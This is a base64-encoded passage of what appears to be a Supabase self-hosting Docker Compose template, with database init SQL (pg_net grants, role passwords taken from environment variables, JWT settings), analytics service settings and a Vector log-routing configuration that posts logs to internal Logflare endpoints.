U5EIElGO1xuRU5EXG4kJDtcbi0tIEV2ZW50IHRyaWdnZXIgZm9yIHBnX25ldFxuQ1JFQVRFIE9SIFJFUExBQ0UgRlVOQ1RJT04gZXh0ZW5zaW9ucy5ncmFudF9wZ19uZXRfYWNjZXNzKClcblJFVFVSTlMgZXZlbnRfdHJpZ2dlclxuTEFOR1VBR0UgcGxwZ3NxbFxuQVMgJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX2V2ZW50X3RyaWdnZXJfZGRsX2NvbW1hbmRzKCkgQVMgZXZcbiAgICBKT0lOIHBnX2V4dGVuc2lvbiBBUyBleHRcbiAgICBPTiBldi5vYmppZCA9IGV4dC5vaWRcbiAgICBXSEVSRSBleHQuZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EO1xuJCQ7XG5DT01NRU5UIE9OIEZVTkNUSU9OIGV4dGVuc2lvbnMuZ3JhbnRfcGdfbmV0X2FjY2VzcyBJUyAnR3JhbnRzIGFjY2VzcyB0byBwZ19uZXQnO1xuRE9cbiQkXG5CRUdJTlxuICBJRiBOT1QgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXZlbnRfdHJpZ2dlclxuICAgIFdIRVJFIGV2dG5hbWUgPSAnaXNzdWVfcGdfbmV0X2FjY2VzcydcbiAgKSBUSEVOXG4gICAgQ1JFQVRFIEVWRU5UIFRSSUdHRVIgaXNzdWVfcGdfbmV0X2FjY2VzcyBPTiBkZGxfY29tbWFuZF9lbmQgV0hFTiBUQUcgSU4gKCdDUkVBVEUgRVhURU5TSU9OJylcbiAgICBFWEVDVVRFIFBST0NFRFVSRSBleHRlbnNpb25zLmdyYW50X3BnX25ldF9hY2Nlc3MoKTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCcyMDIxMDgwOTE4MzQyM191cGRhdGVfZ3JhbnRzJyk7XG5BTFRFUiBmdW5jdGlvbiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KCkgU0VDVVJJVFkgREVGSU5FUjtcbkFMVEVSIGZ1bmN0aW9uIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBTRVQgc2VhcmNoX3BhdGggPSBzdXBhYmFzZV9mdW5jdGlvbnM7XG5SRVZPS0UgQUxMIE9OIEZVTkNUSU9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBGUk9NIFBVQkxJQztcbkdSQU5UIEVYRUNVVEUgT04gRlVOQ1RJT04gc3VwYWJhc2VfZnVuY3Rpb25zLmh0dHBfcmVxdWVzdCgpIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5DT01NSVQ7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcm9sZXMuc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk5LXJvbGVzLnNxbAogICAgICAgIGNvbnRlbnQ6ICItLSBOT1RFOiBjaGFuZ2UgdG8geW91ciBvd24gcGFzc3dvcmRzIGZvciBwcm9kdWN0aW9uIGVudmlyb25tZW50c1xuIFxcc2V0IHBncGFzcyBgZWNobyBcIiRQT1NUR1JFU19QQVNTV09SRFwiYFxuXG4gQUxURVIgVVNFUiBhdXRoZW50aWNhdG9yIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgcGdib3VuY2VyIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgc3VwYWJhc2VfYXV0aF9hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX3N0b3JhZ2VfYWRtaW4gV0lUSCBQQVNTV09SRCA6J3BncGFzcyc7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvand0LnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL2luaXQtc2NyaXB0cy85OS1qd3Quc3FsCiAgICAgICAgY29udGVudDogIlxcc2V0IGp3dF9zZWNyZXQgYGVjaG8gXCIkSldUX1NFQ1JFVFwiYFxuXFxzZXQgand0X2V4cCBgZWNobyBcIiRKV1RfRVhQXCJgXG5cXHNldCBkYl9uYW1lIGBlY2hvIFwiJHtQT1NUR1JFU19EQjotcG9zdGdyZXN9XCJgXG5cbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3Rfc2VjcmV0XCIgVE8gOidqd3Rfc2VjcmV0JztcbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3RfZXhwXCIgVE8gOidqd3RfZXhwJztcbiIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9sb2dzLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktbG9ncy5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwic3VwYWJhc2VfYWRtaW5cImBcblxcYyBfc3VwYWJhc2VcbmNyZWF0ZSBzY2hlbWEgaWYgbm90IGV4aXN0cyBfYW5hbHl0aWNzO1xuYWx0ZXIgc2NoZW1hIF9hbmFseXRpY3Mgb3duZXIgdG8gOnBndXNlcjtcblxcYyBwb3N0Z3Jlc1xuIgogICAgICAtICdzdXBhYmFzZS1kYi1jb25maWc6L2V0Yy9wb3N0Z3Jlc3FsLWN1c3RvbScKICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICBpbWFnZTogJ3N1cGFiYXNlL2xvZ2ZsYXJlOjEuNC4wJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMT0dGTEFSRV9OT0RFX0hPU1Q9MTI3LjAuMC4xCiAgICAgIC0gREJfVVNFUk5BTUU9c3VwYWJhc2VfYWRtaW4KICAgICAgLSBEQl9EQVRBQkFTRT1fc3VwYWJhc2UKICAgICAgLSAnREJfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gREJfU0NIRU1BPV9hbmFseXRpY3MKICAgICAgLSAnTE9HRkxBUkVfQVBJX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTE9HRkxBUkV9JwogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlQ9dHJ1ZQogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlRfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfU1VQQUJBU0VfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfTUlOX0NMVVNURVJfU0laRT0xCiAgICAgIC0gJ1BPU1RHUkVTX0JBQ0tFTkRfVVJMPXBvc3RncmVzcWw6Ly9zdXBhYmFzZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9L19zdXBhYmFzZScKICAgICAgLSBQT1NUR1JFU19CQUNLRU5EX1NDSEVNQT1fYW5hbHl0aWNzCiAgICAgIC0gTE9HRkxBUkVfRkVBVFVSRV9GTEFHX09WRVJSSURFPW11bHRpYmFja2VuZD10cnVlCiAgc3VwYWJhc2UtdmVjdG9yOgogICAgaW1hZ2U6ICd0aW1iZXJpby92ZWN0b3I6MC4yOC4xLWFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vc3VwYWJhc2UtdmVjdG9yOjkwMDEvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9sb2dzL3ZlY3Rvci55bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvdmVjdG9yL3ZlY3Rvci55bWwKICAgICAgICByZWFkX29ubHk6IHRydWUKICAgICAgICBjb250ZW50OiAiYXBpOlxuICBlbmFibGVkOiB0cnVlXG4gIGFkZHJlc3M6IDAuMC4wLjA6OTAwMVxuXG5zb3VyY2VzOlxuICBkb2NrZXJfaG9zdDpcbiAgICB0eXBlOiBkb2NrZXJfbG9nc1xuICAgIGV4Y2x1ZGVfY29udGFpbmVyczpcbiAgICAgIC0gc3VwYWJhc2UtdmVjdG9yXG5cbnRyYW5zZm9ybXM6XG4gIHByb2plY3RfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gZG9ja2VyX2hvc3RcbiAgICBzb3VyY2U6IHwtXG4gICAgICAucHJvamVjdCA9IFwiZGVmYXVsdFwiXG4gICAgICAuZXZlbnRfbWVzc2FnZSA9IGRlbCgubWVzc2FnZSlcbiAgICAgIC5hcHBuYW1lID0gZGVsKC5jb250YWluZXJfbmFtZSlcbiAgICAgIGRlbCguY29udGFpbmVyX2NyZWF0ZWRfYXQpXG4gICAgICBkZWwoLmNvbnRhaW5lcl9pZClcbiAgICAgIGRlbCguc291cmNlX3R5cGUpXG4gICAgICBkZWwoLnN0cmVhbSlcbiAgICAgIGRlbCgubGFiZWwpXG4gICAgICBkZWwoLmltYWdlKVxuICAgICAgZGVsKC5ob3N0KVxuICAgICAgZGVsKC5zdHJlYW0pXG4gIHJvdXRlcjpcbiAgICB0eXBlOiByb3V0ZVxuICAgIGlucHV0czpcbiAgICAgIC0gcHJvamVjdF9sb2dzXG4gICAgcm91dGU6XG4gICAgICBrb25nOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2Uta29uZ1wiKSdcbiAgICAgIGF1dGg6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1hdXRoXCIpJ1xuICAgICAgcmVzdDogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInN1cGFiYXNlLXJlc3RcIiknXG4gICAgICByZWFsdGltZTogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInJlYWx0aW1lLWRldlwiKSdcbiAgICAgIHN0b3JhZ2U6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1zdG9yYWdlXCIpJ1xuICAgICAgZnVuY3Rpb25zOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2UtZnVuY3Rpb25zXCIpJ1xuICAgICAgZGI6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1kYlwiKSdcbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5rb25nXG4gICAgc291cmNlOiB8LVxuICAgICAgcmVxLCBlcnIgPSBwYXJzZV9uZ2lueF9sb2coLmV2ZW50X21lc3NhZ2UsIFwiY29tYmluZWRcIilcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAudGltZXN0YW1wID0gcmVxLnRpbWVzdGFtcFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0LmhlYWRlcnMucmVmZXJlciA9IHJlcS5yZWZlcmVyXG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy51c2VyX2FnZW50ID0gcmVxLmFnZW50XG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy5jZl9jb25uZWN0aW5nX2lwID0gcmVxLmNsaWVudFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0Lm1ldGhvZCA9IHJlcS5tZXRob2RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wYXRoID0gcmVxLnBhdGhcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHJlcS5wcm90b2NvbFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXNwb25zZS5zdGF0dXNfY29kZSA9IHJlcS5zdGF0dXNcbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2VycjpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmtvbmdcbiAgICBzb3VyY2U6IHwtXG4gICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSBcIkdFVFwiXG4gICAgICAubWV0YWRhdGEucmVzcG9uc2Uuc3RhdHVzX2NvZGUgPSAyMDBcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfbmdpbnhfbG9nKC5ldmVudF9tZXNzYWdlLCBcImVycm9yXCIpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lc3RhbXBcbiAgICAgICAgICAuc2V2ZXJpdHkgPSBwYXJzZWQuc2V2ZXJpdHlcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5ob3N0ID0gcGFyc2VkLmhvc3RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5oZWFkZXJzLmNmX2Nvbm5lY3RpbmdfaXAgPSBwYXJzZWQuY2xpZW50XG4gICAgICAgICAgdXJsLCBlcnIgPSBzcGxpdChwYXJzZWQucmVxdWVzdCwgXCIgXCIpXG4gICAgICAgICAgaWYgZXJyID09IG51bGwge1xuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSB1cmxbMF1cbiAgICAgICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QucGF0aCA9IHVybFsxXVxuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHVybFsyXVxuICAgICAgICAgIH1cbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBHb3RydWUgbG9ncyBhcmUgc3RydWN0dXJlZCBqc29uIHN0cmluZ3Mgd2hpY2ggZnJvbnRlbmQgcGFyc2VzIGRpcmVjdGx5LiBCdXQgd2Uga2VlcCBtZXRhZGF0YSBmb3IgY29uc2lzdGVuY3kuXG4gIGF1dGhfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmF1dGhcbiAgICBzb3VyY2U6IHwtXG4gICAgICBwYXJzZWQsIGVyciA9IHBhcnNlX2pzb24oLmV2ZW50X21lc3NhZ2UpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLm1ldGFkYXRhLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lXG4gICAgICAgICAgLm1ldGFkYXRhID0gbWVyZ2UhKC5tZXRhZGF0YSwgcGFyc2VkKVxuICAgICAgfVxuICAjIFBvc3RnUkVTVCBsb2dzIGFyZSBzdHJ1Y3R1cmVkIHNvIHdlIHNlcGFyYXRlIHRpbWVzdGFtcCBmcm9tIG1lc3NhZ2UgdXNpbmcgcmVnZXhcbiAgcmVzdF9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIucmVzdFxuICAgIHNvdXJjZTogfC1cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPi4qKTogKD9QPG1zZz4uKikkJylcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAudGltZXN0YW1wID0gdG9fdGltZXN0YW1wIShwYXJzZWQudGltZSlcbiAgICAgICAgICAubWV0YWRhdGEuaG9zdCA9IC5wcm9qZWN0XG4gICAgICB9XG4gICMgUmVhbHRpbWUgbG9ncyBhcmUgc3RydWN0dXJlZCBzbyB3ZSBwYXJzZSB0aGUgc2V2ZXJpdHkgbGV2ZWwgdXNpbmcgcmVnZXggKGlnbm9yZSB0aW1lIGJlY2F1c2UgaXQgaGFzIG5vIGRhdGUpXG4gIHJlYWx0aW1lX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5yZWFsdGltZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLmV4dGVybmFsX2lkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPlxcZCs6XFxkKzpcXGQrXFwuXFxkKykgXFxbKD9QPGxldmVsPlxcdyspXFxdICg/UDxtc2c+LiopJCcpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLmV2ZW50X21lc3NhZ2UgPSBwYXJzZWQubXNnXG4gICAgICAgICAgLm1ldGFkYXRhLmxldmVsID0gcGFyc2VkLmxldmVsXG4gICAgICB9XG4gICMgU3RvcmFnZSBsb2dzIG1heSBjb250YWluIGpzb24gb2JqZWN0cyBzbyB3ZSBwYXJzZSB0aGVtIGZvciBjb21wbGV0ZW5lc3NcbiAgc3RvcmFnZV9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuc3RvcmFnZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLnRlbmFudElkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfanNvbiguZXZlbnRfbWVzc2FnZSlcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAubWV0YWRhdGEubGV2ZWwgPSBwYXJzZWQubGV2ZWxcbiAgICAgICAgICAubWV0YWRhdGEudGltZXN0YW1wID0gcGFyc2VkLnRpbWVcbiAgICAgICAgICAubWV0YWRhdGEuY29udGV4dFswXS5ob3N0ID0gcGFyc2VkLmhvc3RuYW1lXG4gICAgICAgICAgLm1ldGFkYXRhLmNvbnRleHRbMF0ucGlkID0gcGFyc2VkLnBpZFxuICAgICAgfVxuICAjIFBvc3RncmVzIGxvZ3Mgc29tZSBtZXNzYWdlcyB0byBzdGRlcnIgd2hpY2ggd2UgbWFwIHRvIHdhcm5pbmcgc2V2ZXJpdHkgbGV2ZWxcbiAgZGJfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmRiXG4gICAgc291cmNlOiB8LVxuICAgICAgLm1ldGFkYXRhLmhvc3QgPSBcImRiLWRlZmF1bHRcIlxuICAgICAgLm1ldGFkYXRhLnBhcnNlZC50aW1lc3RhbXAgPSAudGltZXN0YW1wXG5cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInLiooP1A8bGV2ZWw+SU5GT3xOT1RJQ0V8V0FSTklOR3xFUlJPUnxMT0d8RkFUQUx8UEFOSUM/KTouKicsIG51bWVyaWNfZ3JvdXBzOiB0cnVlKVxuXG4gICAgICBpZiBlcnIgIT0gbnVsbCB8fCBwYXJzZWQgPT0gbnVsbCB7XG4gICAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSBcImluZm9cIlxuICAgICAgfVxuICAgICAgaWYgcGFyc2VkICE9IG51bGwge1xuICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IHBhcnNlZC5sZXZlbFxuICAgICAgfVxuICAgICAgaWYgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9PSBcImluZm9cIiB7XG4gICAgICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IFwibG9nXCJcbiAgICAgIH1cbiAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSB1cGNhc2UhKC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkpXG5cbnNpbmtzOlxuICBsb2dmbGFyZV9hdXRoOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gYXV0aF9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWdvdHJ1ZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3JlYWx0aW1lOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gcmVhbHRpbWVfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1yZWFsdGltZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3Jlc3Q6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByZXN0X2xvZ3NcbiAgICBlbmNvZGluZzpcbiAgICAgIGNvZGVjOiAnanNvbidcbiAgICBtZXRob2Q6ICdwb3N0J1xuICAgIHJlcXVlc3Q6XG4gICAgICByZXRyeV9tYXhfZHVyYXRpb25fc2VjczogMTBcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvYXBpL2xvZ3M/c291cmNlX25hbWU9cG9zdGdSRVNULmxvZ3MucHJvZCZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfZGI6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSBkYl9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgIyBXZSBtdXN0IHJvdXRlIHRoZSBzaW5rIHRocm91Z2gga29uZyBiZWNhdXNlIGluZ2VzdGluZyBsb2dzIGJlZm9yZSBsb2dmbGFyZSBpcyBmdWxseSBpbml0aWFsaXNlZCB3aWxsXG4gICAgIyBsZWFkIHRvIGJyb2tlbiBxdWVyaWVzIGZyb20gc3R1ZGlvLiBUaGlzIHdvcmtzIGJ5IHRoZSBhc3N1bXB0aW9uIHRoYXQgY29udGFpbmVycyBhcmUgc3RhcnRlZCBpbiB0aGVcbiAgICAjIGZvbGxvd2luZyBvcmRlcjo